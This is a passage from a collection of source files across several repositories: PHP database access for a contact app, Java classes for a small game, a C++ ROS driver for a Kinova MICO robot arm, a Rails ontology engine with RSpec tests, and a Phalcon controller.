$commande->bindParam(':nom', $nom);
$commande->bindParam(':num', $num);
$bool = $commande->execute();
if ($bool) {
$resultat = $commande->fetchAll(PDO::FETCH_ASSOC); //tableau d'enregistrements
// var_dump($resultat); die();
/*while ($ligne = $commande->fetch()) { // ligne par ligne
print_r($ligne);
}*/
}
}
catch (PDOException $e) {
echo utf8_encode("Echec de select : " . $e->getMessage() . "\n");
die(); // On arrête tout.
}
if (count($resultat) == 0) {
$profil=array(); // Pour qu'il y ait quand même quelque chose...
return false;
}
else {
$profil = $resultat[0];
//var_dump($profil);
return true;
}
}
?><file_sep><?php
//$hostname = "vs-wamp";
$hostname = "localhost";
$base= "econtact";
//$loginBD= "econtact";
$loginBD= "root";
//$passBD="econtact";
$passBD="";
//$pdo = null;
try {
// DSN (Data Source Name)pour se connecter à MySQL
$dsn = "mysql:server=$hostname ; dbname=$base";
// DSN pour se connecter à MS Sql Server
// $dsn = 'sqlsrv:server=(local)\S2008R2 ; database=mabase';
//$pdo = new PDO ($dsn, $loginBD, $passBD);
$pdo = new PDO ($dsn, $loginBD, $passBD,
array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8"));
// Le dernier argument sert à ce que toutes les chaines de caractères
// en entrée et sortie de MySql soit dans le codage UTF-8
// On active le mode d'affichage des erreurs, et le lancement d'exception en cas d'erreur
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
//echo "Connexion au DSN: ".$dsn." OK! </br>";
}
catch (PDOException $e) {
// affiche (en UTF8) le message d'erreur associé à l'exception
echo utf8_encode("Echec de connexion : " . $e->getMessage() . "\n");
die(); // On arrête tout.
}
?> <file_sep><?php
function create_new($nom,$num,$prenom,$email,&$profil) {
require ("modele/connectBD.php");
$sql = "INSERT INTO `utilisateur` (nom, prenom, num, email) VALUES (:nom ,:prenom,:num,:email)";
$commande = $pdo->prepare($sql);
$commande->execute([
':nom' => $nom,
':prenom' => $prenom,
':num' => $num,
':email' => $email
]);
return true;
}
function verif_existant ($email) {
require ("modele/connectBD.php");
$sql= 'SELECT * FROM utilisateur where email=:email';
try {
$commande = $pdo->prepare($sql);
$commande->bindParam(':email', $email);
$bool = $commande->execute();
if ($bool) {
$resultat = $commande->fetchAll(PDO::FETCH_ASSOC); //tableau d'enregistrements
// var_dump($resultat); die();
while ($ligne = $commande->fetch()) { // ligne par ligne
print_r($ligne);
}
}
if (count($resultat)== 0) return false;
else return true;
}
catch (PDOException $e) {
echo utf8_encode("Echec de select : " . $e->getMessage() . "\n");
die(); // On arrête tout.
}
}
?><file_sep><?php
//fin de la session de connexion
session_start();
function bye() {
echo ("<h2>Au revoir M. ou Mdme" . $_SESSION['profil']['nom'] . "</h2>");
session_destroy();
}
?> | f18b31faa2f6ee21c30f57d55499bebc76adea25 | [
"SQL",
"PHP"
] | 8 | PHP | helidem/PWEB | c44be77ce8595b49dab4b14a659577adaf5276d3 | 4bb55bd31b87d64b0c8b07f40320e213ff870599 |
refs/heads/master | <file_sep>/***************************
*cyfixus 2016dec LD 37 *
**************************/
import java.awt.*;
/*****************
* Floor is the pink/white double triangle on the black background
* it changes color depending on the active operator of OneRoom*/
public class Floor{
private char operator;
private Color color;
public Floor(){
operator = '+';
}
public Floor(char operator){
this.operator = operator;
initColor();
}
public void draw(Graphics g){
g.setColor(color);
g.drawPolygon(new int[] {125, 1075, 600}, new int[] {100, 100, 600}, 3);
g.drawPolygon(new int[] {25, 1175, 600}, new int[] {50, 50, 700}, 3);
}
public void initColor(){
int colorValue;
if(operator == '-'){
colorValue = 0xffffffff;
}
else{
colorValue = 0xffff00ff;
}
color = new Color(colorValue);
}
public void setOperator(char operator){
this.operator = operator;
initColor();
}
}<file_sep>/***************************
*cyfixus 2016dec LD 37 *
**************************/
import java.util.*;
import java.awt.event.*;
import javax.swing.Timer;
import javax.swing.*;
import java.awt.*;
/***************
* Controller is the controller of the MVC
* is knows about the oneroom the gameview and the musicplayer
* it plays the start up sound, has a timer to check for mouse
* clicks, and to check if the timebar has time left
* it relays clickede choices to OneRoom and plays sounds accordingly
* it also executes resets if gameover detected from oneroom*/
public class Controller implements ActionListener{
private OneRoom oneRoom;
private GameView gameView;
private MusicPlayer musicPlayer;
private long score;
public Controller(OneRoom oneRoom, GameView gameView,
MusicPlayer musicPlayer){
this.oneRoom = oneRoom;
this.gameView = gameView;
this.musicPlayer = musicPlayer;
gameView.getPanel().updateChoices(oneRoom.getChoices());
Timer timer = new Timer(1, this);
timer.setInitialDelay(0);
timer.start();
musicPlayer.playSound("wai.wav");
}
public void actionPerformed(ActionEvent ev) {
if(!gameView.getPanel().getTimeBar().time()){
gameOver();
}
if(gameView.getPanel().chosen()){
int choice = gameView.getPanel().getChoice();
play(choice);
score = oneRoom.getScore();
gameView.updateScore(score);
gameView.getPanel().choose();
}
}
public void play(int choice){
oneRoom.setChoice(choice);
oneRoom.operate(choice);
oneRoom.newOperator();
gameView.getPanel().getFloor().setOperator(oneRoom.getOperator());
if(!oneRoom.checkPrime()){
musicPlayer.playSound("hmm.wav");
oneRoom.decLevel();
if(oneRoom.getLevel() < 1){
gameOver();
}
}
else{
musicPlayer.playSound("ahh.wav");
}
}
public void gameOver(){
JOptionPane.showMessageDialog(gameView,
" " + score + " ",
score + " ",
JOptionPane.INFORMATION_MESSAGE);
oneRoom.reset();
gameView.getPanel().getTimeBar().reset();
musicPlayer.playSound("wai.wav");
}
}<file_sep>/***************************
*cyfixus 2016dec LD 37 *
**************************/
import java.awt.*;
import java.awt.geom.Line2D;
import java.util.*;
import java.awt.event.*;
import javax.swing.Timer;
import javax.swing.*;
/**
* TimeBar is a bar dispalyed across the screen below the score
* it has a timer and changed shrinks width-wise accordingly
* as well as changing colors*/
public class TimeBar implements ActionListener{
private int x, y;
private int x2, y2;
private Color color;
private int colorValue;
private int time;
private boolean timeLeft;
public TimeBar(){
reset();
Timer timer = new Timer(500, this);
timer.setInitialDelay(5000);
timer.start();
}
public void actionPerformed(ActionEvent ev) {
tick();
}
public void draw(Graphics g){
Graphics2D g2 = (Graphics2D)g;
g2.setColor(color);
g2.setStroke(new BasicStroke(30));
g2.draw(new Line2D.Float(x, y, x2, y));
}
public void tick(){
if(time-- == 0){
timeLeft = false;
}
if(time%2 == 0){
colorValue += 110990;
color = new Color(colorValue);
}
if(x < x2){
x += 10;
x2 -= 10;
}
else{
x = x2 = 600;
}
}
public boolean time(){
return timeLeft;
}
public void reset(){
colorValue = 65535;
color = new Color(colorValue);
time = 60;
timeLeft = true;
x = 0;
x2 = 1200;
}
}<file_sep>#ONEROOM
Entry for <NAME> 37
You awaken to find yourself trapped in a room with three walls. Each wall has three nodes. You begin to notice a pattern emerge as you tap the nodes. Can you escape?<file_sep>/***************************
*cyfixus 2016dec LD 37 *
**************************/
import javax.swing.*;
/********
* Game is the main class. it has a swing protector, then creates the gamespace
* by calling the model(oneroom) controller gameview and musicplayer, then
* putting the music player on the threadpool to loop in the background*/
public class Game{
public static void main(String[] args){
SwingUtilities.invokeLater(new Runnable(){
public void run(){
initGame();
}
});
}
public static void initGame() {
ThreadPool pool = new ThreadPool(2);
OneRoom oneRoom = new OneRoom();
GameView gameView = new GameView();
MusicPlayer musicPlayer = new MusicPlayer("000000011.wav", "hmm.wav",
"ahh.wav", "wai.wav");
Controller controller = new Controller(oneRoom, gameView, musicPlayer);
pool.runTask(musicPlayer);
pool.join();
}
} | f3ac10137692046572d3ee4fabfc75637d9d90b2 | [
"Markdown",
"Java"
] | 5 | Java | cyfixus/oneroom | bb12b105c3fd6e4d615b37c9e8d8df39ac07650c | 1bab89f0cd28c6ad234505d66e0cdb6017513dc7 |
refs/heads/master | <repo_name>personalrobotics/mico_hardware<file_sep>/include/MicoRobot.h
#ifndef MICO_ROBOT_H
#define MICO_ROBOT_H
// ros_control
#include <hardware_interface/joint_command_interface.h>
#include <hardware_interface/joint_state_interface.h>
#include <pr_ros_controllers/joint_mode_interface.h>
//#include <hardware_interface/controller_info_interface.h>
#include <hardware_interface/robot_hw.h>
#include <controller_manager/controller_manager.h>
// ros
#include <ros/ros.h>
#include <ros/console.h>
// kinova api
#include <kinova/KinovaTypes.h>
#include <kinova/Kinova.API.UsbCommandLayerUbuntu.h>
// c++
#include <stdexcept>
#include <limits>
#include <iostream>
using namespace std;
static const double hardcoded_pos_midpoints[6] = { 0.0, -0.5 * M_PI, 0.5 * M_PI, 0.0, 0.0, 0.0 };
static const int num_full_dof = 8;
static const int num_arm_dof = 6;
class MicoRobot: public hardware_interface::RobotHW
{
public:
MicoRobot(ros::NodeHandle nh);
virtual ~MicoRobot();
void initializeOffsets();
ros::Time get_time(void);
ros::Duration get_period(void);
inline double degreesToRadians(double degrees);
inline double radiansToDegrees(double radians);
inline double radiansToFingerTicks(double radians);
inline double fingerTicksToRadians(double ticks);
void sendPositionCommand(const std::vector<double>& command);
void sendVelocityCommand(const std::vector<double>& command);
void sendTorqueCommand(const std::vector<double>& command);
void write(void);
void read(void);
void checkForStall(void);
bool eff_stall;
private:
hardware_interface::JointStateInterface jnt_state_interface;
hardware_interface::VelocityJointInterface jnt_vel_interface;
hardware_interface::PositionJointInterface jnt_pos_interface;
hardware_interface::JointModeInterface jm_interface;
//JacoArm *arm;
vector<double> cmd_pos;
vector<double> cmd_vel;
vector<double> pos;
vector<double> vel;
vector<double> eff;
vector<double> pos_offsets;
vector<double> soft_limits;
vector<double> zero_velocity_command;
int joint_mode; // this tells whether we're in position or velocity control mode
int last_mode;
};
#endif
<file_sep>/src/MicoRobot.cpp
#include "MicoRobot.h"
using namespace std;
MicoRobot::MicoRobot(ros::NodeHandle nh)
{
ROS_INFO("Starting to initialize mico_hardware");
int i;
cmd_pos.resize(num_full_dof);
cmd_vel.resize(num_full_dof);
zero_velocity_command.resize(num_full_dof, 0.0);
pos.resize(num_full_dof);
vel.resize(num_full_dof);
eff.resize(num_full_dof);
pos_offsets.resize(num_arm_dof);
soft_limits.resize(num_full_dof);
// connect and register the joint state interface.
// this gives joint states (pos, vel, eff) back as an output.
hardware_interface::JointStateHandle state_handle_base("mico_joint_1", &pos[0], &vel[0], &eff[0]);
hardware_interface::JointStateHandle state_handle_shoulder("mico_joint_2", &pos[1], &vel[1], &eff[1]);
hardware_interface::JointStateHandle state_handle_elbow("mico_joint_3", &pos[2], &vel[2], &eff[2]);
hardware_interface::JointStateHandle state_handle_wrist0("mico_joint_4", &pos[3], &vel[3], &eff[3]);
hardware_interface::JointStateHandle state_handle_wrist1("mico_joint_5", &pos[4], &vel[4], &eff[4]);
hardware_interface::JointStateHandle state_handle_wrist2("mico_joint_6", &pos[5], &vel[5], &eff[5]);
hardware_interface::JointStateHandle state_handle_finger0("mico_joint_finger_1", &pos[6], &vel[6], &eff[6]);
hardware_interface::JointStateHandle state_handle_finger1("mico_joint_finger_2", &pos[7], &vel[7], &eff[7]);
jnt_state_interface.registerHandle(state_handle_base);
jnt_state_interface.registerHandle(state_handle_shoulder);
jnt_state_interface.registerHandle(state_handle_elbow);
jnt_state_interface.registerHandle(state_handle_wrist0);
jnt_state_interface.registerHandle(state_handle_wrist1);
jnt_state_interface.registerHandle(state_handle_wrist2);
jnt_state_interface.registerHandle(state_handle_finger0);
jnt_state_interface.registerHandle(state_handle_finger1);
registerInterface(&jnt_state_interface);
// connect and register the joint position interface
// this takes joint velocities in as a command.
hardware_interface::JointHandle vel_handle_base(jnt_state_interface.getHandle("mico_joint_1"), &cmd_vel[0]);
hardware_interface::JointHandle vel_handle_shoulder(jnt_state_interface.getHandle("mico_joint_2"), &cmd_vel[1]);
hardware_interface::JointHandle vel_handle_elbow(jnt_state_interface.getHandle("mico_joint_3"), &cmd_vel[2]);
hardware_interface::JointHandle vel_handle_wrist0(jnt_state_interface.getHandle("mico_joint_4"), &cmd_vel[3]);
hardware_interface::JointHandle vel_handle_wrist1(jnt_state_interface.getHandle("mico_joint_5"), &cmd_vel[4]);
hardware_interface::JointHandle vel_handle_wrist2(jnt_state_interface.getHandle("mico_joint_6"), &cmd_vel[5]);
hardware_interface::JointHandle vel_handle_finger0(jnt_state_interface.getHandle("mico_joint_finger_1"), &cmd_vel[6]);
hardware_interface::JointHandle vel_handle_finger1(jnt_state_interface.getHandle("mico_joint_finger_2"), &cmd_vel[7]);
jnt_vel_interface.registerHandle(vel_handle_base);
jnt_vel_interface.registerHandle(vel_handle_shoulder);
jnt_vel_interface.registerHandle(vel_handle_elbow);
jnt_vel_interface.registerHandle(vel_handle_wrist0);
jnt_vel_interface.registerHandle(vel_handle_wrist1);
jnt_vel_interface.registerHandle(vel_handle_wrist2);
jnt_vel_interface.registerHandle(vel_handle_finger0);
jnt_vel_interface.registerHandle(vel_handle_finger1);
registerInterface(&jnt_vel_interface);
// connect and register the joint position interface
// this takes joint positions in as a command.
hardware_interface::JointHandle pos_handle_base(jnt_state_interface.getHandle("mico_joint_1"), &cmd_pos[0]);
hardware_interface::JointHandle pos_handle_shoulder(jnt_state_interface.getHandle("mico_joint_2"), &cmd_pos[1]);
hardware_interface::JointHandle pos_handle_elbow(jnt_state_interface.getHandle("mico_joint_3"), &cmd_pos[2]);
hardware_interface::JointHandle pos_handle_wrist0(jnt_state_interface.getHandle("mico_joint_4"), &cmd_pos[3]);
hardware_interface::JointHandle pos_handle_wrist1(jnt_state_interface.getHandle("mico_joint_5"), &cmd_pos[4]);
hardware_interface::JointHandle pos_handle_wrist2(jnt_state_interface.getHandle("mico_joint_6"), &cmd_pos[5]);
hardware_interface::JointHandle pos_handle_finger0(jnt_state_interface.getHandle("mico_joint_finger_1"), &cmd_pos[6]);
hardware_interface::JointHandle pos_handle_finger1(jnt_state_interface.getHandle("mico_joint_finger_2"), &cmd_pos[7]);
jnt_pos_interface.registerHandle(pos_handle_base);
jnt_pos_interface.registerHandle(pos_handle_shoulder);
jnt_pos_interface.registerHandle(pos_handle_elbow);
jnt_pos_interface.registerHandle(pos_handle_wrist0);
jnt_pos_interface.registerHandle(pos_handle_wrist1);
jnt_pos_interface.registerHandle(pos_handle_wrist2);
jnt_pos_interface.registerHandle(pos_handle_finger0);
jnt_pos_interface.registerHandle(pos_handle_finger1);
registerInterface(&jnt_pos_interface);
// connect and register the joint mode interface
// this is needed to determine if velocity or position control is needed.
hardware_interface::JointModeHandle mode_handle("joint_mode", &joint_mode);
jm_interface.registerHandle(mode_handle);
registerInterface(&jm_interface);
// Start Up Kinova API
int r = NO_ERROR_KINOVA;
ROS_INFO("Attempting to inialize API...");
r = InitAPI();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not initialize API: Error code %d",r);
}
ROS_INFO("Attempting to start API control of the robot...");
r = StartControlAPI();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not start API Control: Error code %d",r);
}
ROS_INFO("Attempting to set angular control...");
r = SetAngularControl();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not set angular control: Error code %d",r);
}
/*ROS_INFO("Attempting to set force control mode...");
r = StartForceControl();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not start force control: Error code %d",r);
}*/
// get soft limits from rosparams
if (nh.hasParam("soft_limits/eff"))
{
nh.getParam("soft_limits/eff", soft_limits);
ROS_INFO("Set soft_limits for eff to: [%f,%f,%f,%f,%f,%f,%f,%f]", soft_limits[0], soft_limits[1], soft_limits[2], soft_limits[3], soft_limits[4], soft_limits[5], soft_limits[6], soft_limits[7]);
}
else
{
ROS_ERROR("No soft limits set for the MICO!");
throw std::runtime_error("no soft limits set for the MICO!");
}
// set stall
eff_stall = false;
// initialize default positions
initializeOffsets();
last_mode = hardware_interface::MODE_VELOCITY;
}
MicoRobot::~MicoRobot()
{
int r = NO_ERROR_KINOVA;
r = StopControlAPI();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not stop API Control: Error code %d",r);
}
r = CloseAPI();
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not close API Control: Error code %d",r);
}
}
void MicoRobot::initializeOffsets()
{
this->read();
// Next, we wrap the positions so they are within -pi to pi of
// the hardcoded midpoints, and add that to the offset. TODO(mklingen):
// figure out if this makes sense.
for (int i = 0; i < num_arm_dof; i++)
{
while (this->pos[i] < hardcoded_pos_midpoints[i] - M_PI)
{
this->pos[i] += 2.0 * M_PI;
this->pos_offsets[i] += 2.0 * M_PI;
}
while (this->pos[i] > hardcoded_pos_midpoints[i] + M_PI)
{
this->pos[i] -= 2.0 * M_PI;
this->pos_offsets[i] -= 2.0 * M_PI;
}
}
}
ros::Time MicoRobot::get_time(void)
{
return ros::Time::now();
}
ros::Duration MicoRobot::get_period(void)
{
// TODO(benwr): What is a reasonable period?
// Here I've assumed 10ms
return ros::Duration(0.01);
}
inline double MicoRobot::degreesToRadians(double degrees)
{
return (M_PI / 180.0) * degrees;
}
inline double MicoRobot::radiansToDegrees(double radians)
{
return (180.0 / M_PI) * radians;
}
inline double MicoRobot::radiansToFingerTicks(double radians)
{
return (5400.0/0.7) * radians; //this magic number was found in the kinova-ros code, jaco_driver/src/jaco_arm.cpp
}
inline double MicoRobot::fingerTicksToRadians(double ticks)
{
return ticks * (0.7/5400.0); //this magic number was found in the kinova-ros code, jaco_driver/src/jaco_arm.cpp
}
void MicoRobot::sendPositionCommand(const std::vector<double>& command)
{
// Need to send an "advance trajectory" with a single point and the correct settings
// Angular position
AngularInfo joint_pos;
joint_pos.InitStruct();
// The crazy weird position changes are how Kinova does it in their driver node!! ><
joint_pos.Actuator1 = float(radiansToDegrees(180.0-command.at(0)));
joint_pos.Actuator2 = float(radiansToDegrees(command.at(1)+270.0));
joint_pos.Actuator3 = float(radiansToDegrees(90.0-command.at(2)));
joint_pos.Actuator4 = float(radiansToDegrees(180.0-command.at(3)));
joint_pos.Actuator5 = float(radiansToDegrees(180.0-command.at(4)));
joint_pos.Actuator6 = float(radiansToDegrees(command.at(5)) );
TrajectoryPoint trajectory;
trajectory.InitStruct(); // initialize structure
memset(&trajectory, 0, sizeof(trajectory)); // zero out the structure
trajectory.Position.Type = ANGULAR_POSITION; // set to angular position
trajectory.Position.Actuators = joint_pos; // position is passed in the position struct
//trajectory.Position.FingersPosition
int r = NO_ERROR_KINOVA;
r = SendAdvanceTrajectory(trajectory);
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not send : Error code %d",r);
}
}
void MicoRobot::sendVelocityCommand(const std::vector<double>& command)
{
// Need to send an "advance trajectory" with a single point and the correct settings
// Angular velocity
AngularInfo joint_vel;
joint_vel.InitStruct();
// Don't ask me why all the joint velocities are negative, I have no idea.
joint_vel.Actuator1 = -float(radiansToDegrees(command.at(0)));
joint_vel.Actuator2 = float(radiansToDegrees(command.at(1)));
joint_vel.Actuator3 = -float(radiansToDegrees(command.at(2)));
joint_vel.Actuator4 = -float(radiansToDegrees(command.at(3)));
joint_vel.Actuator5 = -float(radiansToDegrees(command.at(4)));
joint_vel.Actuator6 = -float(radiansToDegrees(command.at(5)));
TrajectoryPoint trajectory;
trajectory.InitStruct(); // initialize structure
memset(&trajectory, 0, sizeof(trajectory)); // zero out the structure
trajectory.Position.Type = ANGULAR_VELOCITY; // set to angular velocity
trajectory.Position.Actuators = joint_vel; // confusingly, velocity is passed in the position struct
trajectory.Position.HandMode = VELOCITY_MODE;
trajectory.Position.Type = ANGULAR_VELOCITY;
trajectory.Position.Fingers.Finger1 = float(radiansToFingerTicks(command.at(6)));
trajectory.Position.Fingers.Finger2 = float(radiansToFingerTicks(command.at(7)));
//trajectory.Position.Delay = 0.0;
int r = NO_ERROR_KINOVA;
r = SendAdvanceTrajectory(trajectory);
if (r != NO_ERROR_KINOVA) {
ROS_ERROR("Could not send : Error code %d",r);
}
}
void MicoRobot::sendTorqueCommand(const std::vector<double>& command)
{
// TODO
//SendAngularTorqueCommand()
}
void MicoRobot::write(void)
{
if (last_mode != joint_mode)
{
EraseAllTrajectories();
}
if (eff_stall)
return;
// have to check the mode type and then choose what commands to send
switch (joint_mode)
{
// send joint position commands
case hardware_interface::MODE_POSITION:
{
sendPositionCommand(cmd_pos);
break;
}
// send joint velocity commands.
// To send joint velocities, we have to send it a trajectory point in angular mode.
case hardware_interface::MODE_VELOCITY:
{
sendVelocityCommand(cmd_vel);
break;
}
case hardware_interface::MODE_EFFORT:
{
ROS_WARN_THROTTLE(1.0, "Mico hardware does not support effort control.");
break;
}
}
last_mode = joint_mode;
}
void MicoRobot::checkForStall(void)
{
// check soft limits. If outside of limits, set to force control mode
// this way the arm can move easily. (if we sent it zero commands, it
// would still be hitting whatever it was.
int i = 1;
//ROS_INFO("joint %d. Limit=%f, Measured=%f", i, soft_limits[i], eff[i]);
bool all_in_limits = true;
for (int i = 0; i < num_full_dof; i++)
{
if (eff[i] < -soft_limits[i] || eff[i] > soft_limits[i])
{
all_in_limits = false;
ROS_WARN("Exceeded soft effort limits on joint %d. Limit=%f, Measured=%f", i, soft_limits[i], eff[i]);
/*
if (!eff_stall)
{
ROS_INFO("Erasing all trajectory points")
EraseAllTrajectories();
ROS_INFO("Sending zero velocities");
sendVelocityCommand(zero_velocity_command);
}*/
}
}
if (all_in_limits && eff_stall)
{
eff_stall = false;
ROS_INFO("Exiting force_control mode.");
//arm->stop_force_ctrl();
//arm->set_control_ang();
sendVelocityCommand(zero_velocity_command);
}
}
void MicoRobot::read(void)
{
// make sure that pos, vel, and eff are up to date.
// TODO: If there is too much lag between calling read()
// and getting the actual values back, we'll need to be
// reading values constantly and storing them locally, so
// at least there is a recent value available for the controller.
AngularPosition arm_pos;
AngularPosition arm_vel;
ForcesInfo arm_torq;
// Requires 3 seperate calls to the USB
GetAngularPosition(arm_pos);
GetAngularVelocity(arm_vel);
GetForcesInfo(arm_torq);
// The crazy weird position changes are how Kinova does it in their driver node!! ><
pos[0] = degreesToRadians(double(180.0-arm_pos.Actuators.Actuator1));
pos[1] = degreesToRadians(double(arm_pos.Actuators.Actuator2-270.0)); //kinova-ros/jaco_driver/src/jaco_arm used 260 instead of 270, so switched
pos[2] = degreesToRadians(double(90.0-arm_pos.Actuators.Actuator3));
pos[3] = degreesToRadians(double(180.0-arm_pos.Actuators.Actuator4));
pos[4] = degreesToRadians(double(180.0-arm_pos.Actuators.Actuator5));
pos[5] = degreesToRadians(double(270.0-arm_pos.Actuators.Actuator6));
pos[6] = fingerTicksToRadians(double(arm_pos.Fingers.Finger1));
pos[7] = fingerTicksToRadians(double(arm_pos.Fingers.Finger2));
vel[0] = degreesToRadians(double(arm_vel.Actuators.Actuator1));
vel[1] = degreesToRadians(double(arm_vel.Actuators.Actuator2));
vel[2] = degreesToRadians(double(arm_vel.Actuators.Actuator3));
vel[3] = degreesToRadians(double(arm_vel.Actuators.Actuator4));
vel[4] = degreesToRadians(double(arm_vel.Actuators.Actuator5));
vel[5] = degreesToRadians(double(arm_vel.Actuators.Actuator6));
vel[6] = fingerTicksToRadians(double(arm_vel.Fingers.Finger1)); //note: these are set to zero in the kinova ros code
vel[7] = fingerTicksToRadians(double(arm_vel.Fingers.Finger2));
eff[0] = arm_torq.Actuator1;
eff[1] = arm_torq.Actuator2;
eff[2] = arm_torq.Actuator3;
eff[3] = arm_torq.Actuator4;
eff[4] = arm_torq.Actuator5;
eff[5] = arm_torq.Actuator6;
eff[6] = 0;
eff[7] = 0;
checkForStall();
}
<file_sep>/src/main.cpp
#include <MicoRobot.h>
#include <iostream>
#include "std_msgs/String.h"
#include <ros/rate.h>
#include <sstream>
int main(int argc, char* argv[])
{
ROS_INFO_STREAM("MICO HARDWARE starting");
ros::init(argc, argv, "mico_hardware");
ros::NodeHandle nh;
MicoRobot robot(nh);
controller_manager::ControllerManager cm(&robot);
ros::AsyncSpinner spinner(1);
spinner.start();
// Ros control rate of 100Hz
ros::Rate controlRate(100.0);
while (ros::ok())
{
robot.read();
if (robot.eff_stall == true)
{
cm.update(robot.get_time(), robot.get_period(), true);
}
else
{
cm.update(robot.get_time(), robot.get_period());
}
robot.write();
controlRate.sleep();
}
return 0;
}
| 95ee10b6d5f650bb83bda090acb307c27e2f5a8c | [
"C++"
] | 3 | C++ | personalrobotics/mico_hardware | 278a64af9913981eafe1b12321d39cb4e834f68f | 79b8c362e2b7c2aa1c3bddf6bad797cc6fff7d6f |
refs/heads/master | <repo_name>metacollect-org/ontological-engine<file_sep>/app/models/ontological/relationship.rb
module Ontological
class Relationship < ApplicationRecord
belongs_to :subject, class_name: 'Category', inverse_of: :objects
belongs_to :predicate, class_name: 'Category'
belongs_to :object, class_name: 'Category', inverse_of: :subjects
validates :subject, :predicate, :object, presence: true
end
end
<file_sep>/spec/dummy/config/routes.rb
Rails.application.routes.draw do
mount Ontological::Engine => "/ontological"
end
<file_sep>/app/models/ontological/category.rb
module Ontological
class Category < ApplicationRecord
has_many :subjects, class_name: 'Relationship', foreign_key: 'object_id', inverse_of: :object
# has_many :children, class_name: 'Category', through: :subjects, source: :subject
has_many :objects, class_name: 'Relationship', foreign_key: 'subject_id', inverse_of: :subject
# has_many :parents, class_name: 'Category', through: :objects, source: :object
has_many :translations, as: :translatable, class_name: 'Multilingual::Translation', dependent: :destroy
validates :uri, presence: true,
uniqueness: true,
format: { with: /[[:lower:]]+/,
message: 'only allows lowercase letters' }
validates_associated :translations
# TODO: include is_a or instance_of WHERE clause
scope :roots, -> { Category.joins('INNER JOIN (SELECT DISTINCT object_id FROM ontological_category_relationships EXCEPT SELECT DISTINCT subject_id FROM ontological_category_relationships) AS sub ON sub.object_id = ontological_categories.id') }
end
end
<file_sep>/spec/models/ontological/category_spec.rb
require 'rails_helper'
module Ontological
shared_examples 'a valid category' do
it 'its Factory is valid' do
expect(cat).to be_valid
end
context 'is invalid when @uri is' do
it 'missing' do
cat.uri = nil
expect(cat).not_to be_valid
end
it 'empty' do
cat.uri = ''
expect(cat).not_to be_valid
end
it 'uppercase' do
cat.uri.upcase!
expect(cat).not_to be_valid
end
end
context '@uri uniqueness' do
it 'record has the given uri' do
expect(cat.uri).to eq(uri)
end
it 'is violated by another model with the same uri' do
expect(cat).to be_valid
expect(second).not_to be_valid
end
it 'is fulfilled by another model with a different uri' do
expect(cat).to be_valid
second.uri = 'snafu'
expect(second).to be_valid
end
end
end
shared_examples 'an ActiveRecord with proper CRUD' do
it 'has no records before creation' do
expect(Category.count).to eq(0)
end
it 'has no translation records before creation' do
expect(Translation.count).to eq(0)
end
it 'has records after creation' do
cat # create object
expect(Category.count).to eq(cat_count)
end
it 'has translation records after creation' do
cat # create object
expect(Translation.count).to eq(trans_count)
end
it 'has no records after destruction' do
cat.destroy
expect(Category.count).to eq(0)
end
it 'has no records after destruction' do
cat.destroy
expect(Translation.count).to eq(0)
end
end
RSpec.describe Category, type: :model do
context 'with Lisa' do
it_behaves_like 'a valid category' do
let(:cat) { FactoryGirl.create(:lisa) }
let(:second) { FactoryGirl.build(:lisa) }
let(:uri) { 'simpsons:lisa' }
end
end
context 'with Bart' do
it_behaves_like 'a valid category' do
let(:cat) { FactoryGirl.create(:bart) }
let(:second) { FactoryGirl.build(:bart) }
let(:uri) { 'simpsons:bart' }
end
end
# context 'with Lisa in multiple languages' do
# it_behaves_like 'an ActiveRecord with proper CRUD' do
# let(:name) { FactoryGirl.build(:lisa) }
# let(:cat) { FactoryGirl.create(:lisa) }
# let(:second) { FactoryGirl.build(:lisa) }
# let(:uri) { 'simpsons:lisa' }
# end
# end
end
end
<file_sep>/config/routes.rb
Ontological::Engine.routes.draw do
end
<file_sep>/spec/factories/ontological_relationships.rb
FactoryGirl.define do
factory :ontological_relationship, class: 'Ontological::Relationship' do
end
end
<file_sep>/lib/ontological.rb
require "ontological/engine"
module Ontological
# Your code goes here...
end
<file_sep>/spec/factories/ontological_categories.rb
FactoryGirl.define do
factory :ontological_category, class: 'Ontological::Category' do
factory :mona do
uri 'simpsons:mona'
end
factory :abe do
uri 'simpsons:abe'
end
factory :marge do
uri 'simpsons:marge'
end
factory :homer do
uri 'simpsons:homer'
end
factory :bart do
uri 'simpsons:bart'
end
factory :lisa do
uri 'simpsons:lisa'
end
factory :maggie do
uri 'simpsons:maggie'
end
end
end
<file_sep>/spec/models/ontological/relationship_spec.rb
require 'rails_helper'
module Ontological
shared_examples 'a valid relationship' do
it 'its Factory is valid' do
expect(relation).to be_valid
end
it 'has correct subject' do
expect(relation.subject).to equal(subject)
end
it 'has correct object' do
expect(relation.object).to equal(object)
end
end
RSpec.describe Relationship, type: :model do
before(:each) do
@child = FactoryGirl.create(:maggie)
@parent = FactoryGirl.create(:homer)
@grandparent = FactoryGirl.create(:mona)
@child_of = FactoryGirl.create(:ontological_category, uri: 'child of')
@p2c = FactoryGirl.create(:ontological_relationship,
subject: @child,
predicate: @child_of,
object: @parent)
@gp2p = FactoryGirl.create(:ontological_relationship,
subject: @parent,
predicate: @child_of,
object: @grandparent)
end
it_behaves_like 'a valid relationship' do
let(:relation) { @p2c }
let(:subject) { @child }
let(:object) { @parent }
end
it_behaves_like 'a valid relationship' do
let(:relation) { @gp2p }
let(:subject) { @parent }
let(:object) { @grandparent }
end
end
end
<file_sep>/lib/tasks/ontological_tasks.rake
# desc "Explaining what the task does"
# task :ontological do
# # Task goes here
# end
| 44642c8c22fb980b22cc3121698d8d38ea00c206 | [
"Ruby"
] | 10 | Ruby | metacollect-org/ontological-engine | 68e65906e791b18f79b8ef79b96a65ab996493ba | 5c34866209ad48f3b8ee867728e6ebb6e47f06d3 |
refs/heads/master | <repo_name>thephucit/multiple<file_sep>/apps/frontend/controllers/IndexController.php
<?php
namespace Multiple\Frontend\Controllers;
use Multiple\Frontend\Models\User;
class IndexController extends ControllerBase
{
public function indexAction()
{
$data = User::find();
$this->view->data = $data;
}
public function testAction()
{
echo \Phalcon\Version::get();
}
